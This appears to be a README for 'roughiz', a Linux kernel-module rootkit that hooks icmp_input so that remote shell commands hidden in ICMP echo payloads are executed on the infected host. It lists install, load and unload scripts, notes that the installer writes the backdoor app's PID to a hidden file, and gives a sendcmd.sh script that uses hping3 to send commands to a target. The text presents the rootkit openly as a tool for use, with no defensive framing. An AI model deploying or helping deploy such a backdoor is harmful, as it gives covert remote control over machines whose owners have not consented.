hook icmp_input system call, and execute a shell remote command
To compile the kernel module and the icmpshell app :
$ ./install_module.sh
This script load the module roughiz, run the app in background and write the pid of the app to file .__icmpshell.pid
$ ./load_module.sh
This script unload the module roughiz
$ ./unload_module.sh
You can send a command to the rootkit, with the hping3 tool (try apt-get install hping3 if you want to install it) by sending an icmp echo with a payload. To make this, you can execute the script :
$ ./sendcmd.sh [ip address of the remote machine or the hostname]